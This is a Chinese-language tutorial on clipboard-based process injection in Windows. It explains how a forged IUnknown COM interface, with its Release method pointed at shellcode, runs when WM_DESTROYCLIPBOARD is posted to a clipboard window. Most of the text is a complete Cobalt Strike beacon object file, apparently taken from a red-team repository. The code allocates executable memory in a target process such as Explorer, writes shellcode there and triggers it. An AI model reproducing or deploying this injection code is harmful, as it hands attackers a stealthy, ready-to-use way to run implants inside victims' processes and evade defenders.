剪切板注入

简介

利用剪切板实现进程注入是一种隐蔽的技术，它通过模拟Windows的Component Object Model (COM)接口来执行恶意代码。在这种方法中，攻击者首先选择一个目标进程，该进程具有与剪切板相关的窗口。接着，攻击者创建一个伪造的IUnknown COM接口，并将其Release方法指向恶意的shellcode。当目标进程尝试释放与剪切板相关的资源时，它会调用这个伪造接口的Release方法，从而触发并执行恶意代码。这种技术的巧妙之处在于它利用了Windows的正常功能和行为，从而在不引起任何可疑活动的情况下执行代码

实现流程

1.定义IUknown_t结构

首先定义了一个IUknown_t结构，用于模拟COM对象的IUnknown接口，其中的Release方法将在WM_DESTROYCLIPBOARD消息被处理时执行，这也为后续的shellcode执行埋下伏笔

typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

2.查找目标窗口并获取其PID

使用FindWindowsExA函数遍历所有具有CLIPBRDWNDCLASS类名的窗口，并打印与其关联的进程PID

// Get the handle to the target process's window
do
{
    hWnd = USER32$FindWindowExA(HWND_MESSAGE, hWnd, "CLIPBRDWNDCLASS", NULL);
    if ( NULL == hWnd ) { break; }
    USER32$GetWindowThreadProcessId(hWnd, &dwProcessId);
    internal_printf("CLIPBRDWNDCLASS found in PID:%lu\n", dwProcessId);
}
while (dwProcessId != lpProcessInfo->dwProcessId);
if (NULL == hWnd)
{
    dwErrorCode = ERROR_INVALID_WINDOW_HANDLE;
    internal_printf("Failed to find a CLIPBRDWNDCLASS window handle for PID:%lu\n", lpProcessInfo->dwProcessId);
    goto end;
}

3.将IUnknown结构的Release方法指向shellcode

初始化IUnknown结构，其中Release方法指向写入的shellcode。然后将此结构写入目标进程的内存中

// Create new IUnknown struct
intZeroMemory(&iUnknown, sizeof(iUnknown));
iUnknown.lpVtbl  = (ULONG_PTR)lpRemoteIUnknownBuffer + sizeof(ULONG_PTR);
iUnknown.Release = (ULONG_PTR)lpRemoteShellcodeBuffer;

// Write the new IUnknown to the remote buffer
dwErrorCode = NtWriteVirtualMemory(
    lpProcessInfo->hProcess, 
    lpRemoteIUnknownBuffer, 
    &iUnknown, 
    sizeof(iUnknown), 
    &RegionSize
);

4.触发Release方法执行shellcode

使用USER32$SetPropA函数将IUnknown结构设置为目标窗口的属性，随后发送WM_DESTROYCLIPBOARD消息到目标窗口，这将导致Release方法被执行(即执行shellcode)

// Set the interface property
if ( FALSE == USER32$SetPropA(hWnd, "ClipboardDataObjectInterface", lpRemoteIUnknownBuffer) )
{
    dwErrorCode = KERNEL32$GetLastError();
    internal_printf("SetPropA failed (%lu)\n", dwErrorCode);
    goto end;
}

// Trigger execution
USER32$PostMessageA(hWnd, WM_DESTROYCLIPBOARD, 0, 0);

BOF代码实现

以下代码源自TrustSec的Bof仓库：https://github.com/trustedsec/CS-Remote-OPs-BOF/tree/main

#define _WIN32_WINNT 0x0600
#include <windows.h>
#include <winternl.h>
#include <stddef.h>
#include "beacon.h"
#include "bofdefs.h"
#include "ntdefs.h"
#include "base.c"
#include "injection.c"

typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

DWORD clipboard(PROCESS_INFORMATION* lpProcessInfo, LPBYTE lpShellcodeBuffer, DWORD dwShellcodeBufferSize)
{
    DWORD  dwErrorCode = ERROR_SUCCESS;
    HWND hWnd = NULL;
    DWORD dwProcessId = 0;
    PHMOD hNTDLL = NULL;
    NtAllocateVirtualMemory_t NtAllocateVirtualMemory = NULL;
    NtReadVirtualMemory_t NtReadVirtualMemory = NULL;
    NtWriteVirtualMemory_t NtWriteVirtualMemory = NULL;
    NtFreeVirtualMemory_t     NtFreeVirtualMemory = NULL;
    SIZE_T RegionSize = 0;
    LPVOID lpRemoteShellcodeBuffer = NULL;
    LPVOID lpRemoteIUnknownBuffer = NULL;
    IUnknown_t iUnknown;
 
 /*
    internal_printf("hThread:               %p\n", lpProcessInfo->hThread);
    internal_printf("hProcess:              %p\n", lpProcessInfo->hProcess);
    internal_printf("dwProcessId:           %u\n", lpProcessInfo->dwProcessId);
    internal_printf("dwThreadId:            %u\n", lpProcessInfo->dwThreadId);
    internal_printf("lpShellcodeBuffer:     %p\n", lpShellcodeBuffer);
    internal_printf("dwShellcodeBufferSize: %lu\n", dwShellcodeBufferSize);
*/

    // Get the handle to the target process's window
    do
    {
        hWnd = USER32$FindWindowExA(HWND_MESSAGE, hWnd, "CLIPBRDWNDCLASS", NULL);
        if ( NULL == hWnd ) { break; }
        USER32$GetWindowThreadProcessId(hWnd, &dwProcessId);
        internal_printf("CLIPBRDWNDCLASS found in PID:%lu\n", dwProcessId);
    }
    while (dwProcessId != lpProcessInfo->dwProcessId);
    if (NULL == hWnd)
    {
        dwErrorCode = ERROR_INVALID_WINDOW_HANDLE;
        internal_printf("Failed to find a CLIPBRDWNDCLASS window handle for PID:%lu\n", lpProcessInfo->dwProcessId);
        goto end;
    }

    // Custom LoadLibrary on NTDLL
    hNTDLL = _LoadLibrary(NTDLL_PATH);
    if(NULL == hNTDLL) { goto end; }

    // Get the syscall addresses
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetSyscallStub(hNTDLL, "NtAllocateVirtualMemory");
    NtReadVirtualMemory = (NtReadVirtualMemory_t)GetSyscallStub(hNTDLL, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetSyscallStub(hNTDLL, "NtWriteVirtualMemory");
    NtFreeVirtualMemory = (NtFreeVirtualMemory_t)GetSyscallStub(hNTDLL, "NtFreeVirtualMemory");
    if ((NULL == NtAllocateVirtualMemory) || 
        (NULL == NtReadVirtualMemory) || 
        (NULL == NtWriteVirtualMemory) || 
        (NULL == NtFreeVirtualMemory)
    )
    {
        dwErrorCode = ERROR_PROC_NOT_FOUND;
        internal_printf("GetSyscallStub failed (%lu)\n", dwErrorCode);
        goto end;
    }

    // Allocate remote shellcode buffer
    RegionSize = dwShellcodeBufferSize + 1;
    dwErrorCode = NtAllocateVirtualMemory(
        lpProcessInfo->hProcess, 
        &lpRemoteShellcodeBuffer, 
        0, 
        &RegionSize, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_EXECUTE_READWRITE
    );
    if (STATUS_SUCCESS != dwErrorCode)
    {
        internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
        goto end;
    }

    // Write the shellcode to the remote buffer
    dwErrorCode = NtWriteVirtualMemory(
        lpProcessInfo->hProcess, 
        lpRemoteShellcodeBuffer, 
        lpShellcodeBuffer, 
        dwShellcodeBufferSize, 
        &RegionSize
    );
    if ( STATUS_SUCCESS != dwErrorCode )
    {
        internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
        goto end;
    }

    // Allocate the new IUnknown interface
    RegionSize = sizeof(iUnknown) + 1;
    dwErrorCode = NtAllocateVirtualMemory(
        lpProcessInfo->hProcess, 
        &lpRemoteIUnknownBuffer, 
        0, 
        &RegionSize, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_READWRITE
    );
    if (STATUS_SUCCESS != dwErrorCode)
    {
        internal_printf("NtAllocateVirtualMemory failed (%lu)\n", dwErrorCode);
        goto end;
    }

    // Create new IUnknown struct
    intZeroMemory(&iUnknown, sizeof(iUnknown));
    iUnknown.lpVtbl  = (ULONG_PTR)lpRemoteIUnknownBuffer + sizeof(ULONG_PTR);
    iUnknown.Release = (ULONG_PTR)lpRemoteShellcodeBuffer;

    // Write the new IUnknown to the remote buffer
    dwErrorCode = NtWriteVirtualMemory(
        lpProcessInfo->hProcess, 
        lpRemoteIUnknownBuffer, 
        &iUnknown, 
        sizeof(iUnknown), 
        &RegionSize
    );
    if ( STATUS_SUCCESS != dwErrorCode )
    {
        internal_printf("NtWriteVirtualMemory failed (%lu)\n", dwErrorCode);
        goto end;
    }

    // Set the interface property
    if ( FALSE == USER32$SetPropA(hWnd, "ClipboardDataObjectInterface", lpRemoteIUnknownBuffer) )
    {
        dwErrorCode = KERNEL32$GetLastError();
        internal_printf("SetPropA failed (%lu)\n", dwErrorCode);
        goto end;
    }

    // Trigger execution
    USER32$PostMessageA(hWnd, WM_DESTROYCLIPBOARD, 0, 0);

    KERNEL32$Sleep(10);

end:
    // Free remote kernel callback table
    if (lpRemoteIUnknownBuffer)
    {
        NtFreeVirtualMemory(
            lpProcessInfo->hProcess, 
            lpRemoteIUnknownBuffer, 
            0, 
            MEM_RELEASE | MEM_DECOMMIT
        );
        lpRemoteIUnknownBuffer = NULL;
    }

    // Free remote shellcode?
    /*
    if (lpRemoteShellcodeBuffer)
    {
        NtFreeVirtualMemory(
            lpProcessInfo->hProcess, 
            lpRemoteShellcodeBuffer, 
            0, 
            MEM_RELEASE | MEM_DECOMMIT
        );
        lpRemoteShellcodeBuffer = NULL;
    }
    */

    return dwErrorCode;
}


#ifdef BOF
VOID go( 
	IN PCHAR Buffer, 
	IN ULONG Length 
) 
{
    DWORD   dwErrorCode = ERROR_SUCCESS;
	datap   parser;
    DWORD   dwPid = 0;
    LPBYTE  lpShellcodeBuffer = NULL;
    DWORD   dwShellcodeBufferSize = 0;
    PROCESS_INFORMATION processInfo;

    MSVCRT$memset(&processInfo, 0, sizeof(PROCESS_INFORMATION));
    
    // Get the arguments <PID> <SHELLCODE>
	BeaconDataParse(&parser, Buffer, Length);
    dwPid = BeaconDataInt(&parser);
    lpShellcodeBuffer = (LPBYTE) BeaconDataExtract(&parser, (int*)(&dwShellcodeBufferSize));
	
    if(!bofstart())
	{
		return;
	}

    // Get a handle to the injection process
    internal_printf("GetInjectionHandle( %lu )\n", dwPid);
    dwErrorCode = GetInjectionHandle( dwPid, &processInfo );
    if (ERROR_SUCCESS != dwErrorCode)
    {
        BeaconPrintf(CALLBACK_ERROR, "GetInjectionHandle failed: %lX\n", dwErrorCode);
		goto end;
    }

    // Execute our shellcode into the injection process
#ifndef __clang_analyzer__   
    internal_printf("clipboard( %02x %02x %02x %02x ..., %lu )\n", 
        lpShellcodeBuffer[0], lpShellcodeBuffer[1], lpShellcodeBuffer[2], lpShellcodeBuffer[3],
        dwShellcodeBufferSize
    );
#endif    
    dwErrorCode = clipboard(
        &processInfo, 
        lpShellcodeBuffer, 
        dwShellcodeBufferSize
    );
    if (ERROR_SUCCESS != dwErrorCode)
    {
        BeaconPrintf(CALLBACK_ERROR, "clipboard failed: %lX\n", dwErrorCode);
		goto end;
    }

    internal_printf("SUCCESS.\n");

end:

    // Clean up the injection process
    CloseInjectionHandle(&processInfo);

	printoutput(TRUE);
};
#else

运行演示

首次执行该项目你可能会执行失败，因为你挑选要注入的进程不一定与CLIPBRDWNDCLASS窗口类有关联，但是它接下来会打印能够利用剪切板实现进程注入的Pid

​

以下是对Explorer进程的注入，其Pid是4716，即上述打印出来的

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